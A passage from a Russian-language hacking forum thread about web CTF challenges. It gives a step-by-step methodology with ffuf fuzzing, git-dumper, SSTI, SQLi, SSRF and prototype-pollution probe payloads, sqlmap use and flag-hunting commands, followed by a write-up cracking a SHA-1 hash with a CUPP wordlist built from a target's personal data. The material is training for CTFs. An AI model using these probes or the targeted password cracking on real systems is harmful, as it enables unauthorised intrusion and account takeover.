ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403
. Обрати внимание на
Код:
.git/HEAD
,
Код:
/robots.txt
,
Код:
/backup
. Нашёл
Код:
.git
- используй
Код:
git-dumper
для восстановления репозитория. Проверь заголовки ответа:
Код:
Server
,
Код:
X-Powered-By
, нестандартные cookie.

Шаг 2: Идентификация стека (1 минута). Определи язык и фреймворк. PHP → ищи
Код:
unserialize()
,
Код:
include()
,
Код:
eval()
. Python Flask → проверь SSTI через
Код:
{{7*7}}
. Node.js Express → проверь прототипное загрязнение: отправь JSON вида
Код:
{"proto":{"isAdmin":true}}
и смотри, изменилось ли поведение. Также проверь SSTI, если используется шаблонизатор (Pug, EJS, Nunjucks). Java → ищи десериализацию.

Шаг 3: Поиск точек входа (5 минут). Все параметры - GET, POST, cookie, заголовки - потенциальные векторы. Перехвати запросы в Burp Suite, отправь в Repeater. Подставь одинарную кавычку
Код:
'
- если ответ изменился, вероятна SQLi. Подставь
Код:
{{7*7}}
- если вернулось
Код:
49
, это SSTI. Подставь
Код:
http://burpcollaborator.net
в параметр URL - если пришёл callback, это SSRF.

Шаг 4: Эксплуатация. Используй минимально необходимые инструменты. Для SQLi - сначала руками через Burp Repeater, потом
Код:
sqlmap -r request.txt --batch
если хочешь автоматизировать. Для SSRF - curl с кастомными заголовками. Для десериализации - генерируй payload под конкретный стек.

Шаг 5: Постэксплуатация. Получил RCE? Ищи флаг:
Код:
find / -name "flag*" 2>/dev/null
,
Код:
cat /flag.txt
,
Код:
env | grep FLAG
. Иногда флаг в базе данных, иногда в переменных окружения, иногда в файле за пределами webroot. Проверяй всё.


Частые ошибки и почему первые попытки проваливаются
За годы CTF я выделил паттерны, которые стабильно ломают новичков:

Попытка всё автоматизировать. Sqlmap, Nikto, dirsearch - отличные инструменты, но они не замена мозгу. На MireaCTF sqlmap не нашёл blind SQLi в cookie, а ручная проверка подтвердила уязвимость за минуту. Автоматика - усилитель, не костыль.

Игнорирование исходного кода. Если таск даёт исходники - это подсказка. Не проскакивай мимо. На Intigriti CatFlix AI ключ к решению был в трёх строчках
Код:
middleware.ts
. Я видел людей, которые фаззили директории 40 минут, когда уязвимость лежала в открытом коде. Обидно.

Зацикливание на одном векторе. Потратил 15 минут на SQLi и ничего? Переключись. Возможно, это не SQLi, а SSTI. Или command injection. Или IDOR. Диверсифицируй проверки в первые 5 минут, потом углубляйся в самый перспективный вектор.

Непонимание формата флага. Звучит глупо, но регулярно люди находят строку, похожую на флаг, и не могут её сдать - не обернули в формат
Код:
CTF{...}
или не декодировали из Base64. Всегда проверяй, нет ли дополнительного слоя кодирования - Deobfuscate/Decode Files or Information (T1140, Defense Evasion) работает и в обратную сторону.
Привязка к реальному пентесту
Всё, что описано выше, напрямую переносится в реальные аудиты. SQL injection в CTF - это та же SQL injection в продакшн-приложении банка. SSRF через Next.js middleware (CVE-2025-57822) - реальная CVE, которая затрагивала self-hosted приложения на Next.js до версий 14.2.32 и 15.4.7. Десериализация в PHP и Java - причина множества критических взломов, от Apache Struts до Magento.

Разница в том, что в CTF тебе дают чёткие границы и легальное разрешение. В реальном пентесте добавляется scope, согласование и отчётность. Но навык видеть уязвимость в коде за 10 минут - один и тот же.

Хочешь прокачаться в веб-категории - решай задачи на HackerLab (секция Web), участвуй в Intigriti Monthly CTF, разбирай writeup'ы с CTFtime. И главное - пиши свои writeup'ы. Пока не объяснишь решение другому человеку, ты его не усвоил. Потренировавшись на кошках - можно и на реальный проект.
 
Ответить с цитированием

  #15  
Старый 17.04.2026, 18:54
M4x
Новичок
Регистрация: 20.05.2024
Сообщений: 0
С нами: 1046281

Репутация: 0
По умолчанию

Цитата:

Михаил Гудилин сказал(а):

Просмотр типов файлов в каталоге cache показывает однородную картину, все объекты определяются утилитой file как абстрактные данные без сигнатур известных форматов

Немного поправлю: "Абстрактные данные" - технически неточный термин в данном случае. Более правильно: для нераспознанных бинарных файлов без известной сигнатуры file обычно выводит просто data.
 
Ответить с цитированием

  #16  
Старый 19.04.2026, 13:34
M4x
Новичок
Регистрация: 20.05.2024
Сообщений: 0
С нами: 1046281

Репутация: 0
По умолчанию

Цитата:

Сергей Попов сказал(а):

stegoveritas

В наши дни stegoveritas довольно редко встречается в задачках категории stegano. Это в прошлом stegoveritas был популярен
 
Ответить с цитированием

  #17  
Старый 27.04.2026, 04:57
M4x
Новичок
Регистрация: 20.05.2024
Сообщений: 0
С нами: 1046281

Репутация: 0
По умолчанию

Нам дали персональные данные цели, SHA-1 хеш пароля и чекер. Задача - восстановить пароль, собрав кастомный словарь на основе этой информации.

Для этого отлично подходит CUPP - питоновский инструмент, предназначенный для генерации персонализированных словарей. Он перебирает кучу вариантов: имя + год, имя + дата рождения, разные регистры, цифры, спецсимволы, leet-замены и все такое. Именно поэтому подобные инструменты часто применяются при атаках на пароли, основанные на личной информации.

Клонируем репозиторий и запускаем генератор:

Bash:


Код:
git
clone https://github.com/Mebus/cupp.git
cd
cupp

python3 cupp.py -i
# -i = interactive mode
# Без него CUPP не будет задавать вопросы про цель
# Дальше просто скармливаем ему данные из userinfo.txt
На выходе получаем большой словарь - десятки тысяч вариантов с разными комбинациями. У меня получился файл alice.txt примерно на 40 000 строк.

Переименуем для удобства:

Bash:


Код:
cp
alice.txt passwords.txt
Теперь запускаем чекер:

Bash:


Код:
python3 check_password.py
# check_password.py читает passwords.txt построчно, хеширует каждый вариант и сравнивает с SHA-1 хешем
Скрипт довольно быстро находит пароль:

Aj_15901990

Эта задачка - наглядный пример того, почему пароли на основе личных данных плохая идея. Инструменты вроде CUPP способны за считанные секунды сгенерировать многочисленные комбинации на основе известной информации о человеке, что делает такие пароли крайне уязвимыми. Автор задания в очередной раз напоминает простую истину: никогда не используйте имена, даты рождения и другие персональные данные при создании паролей.
 
Ответить с цитированием

  #18  
Старый 30.04.2026, 14:03
DzeN
Новичок
Регистрация: 09.02.2007
Сообщений: 1
С нами: 10131855

Репутация: 0
По умолчанию


Сегодня последний день, когда можно оформить PRO со скидкой.

Подписка открывает доступ сразу к нескольким направлениям обучения и практики:

• курс «SQL Injection Master» с лабораторией и сертификатом за успешную сдачу экзамена
• курс «Введение в ИБ» с лабораторией
• курс «Основы Linux»
• доступ ко всем заданиям платформы
• Pro-лаборатории комплексными сценариями

Цитата:

Промокод: PRO20
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...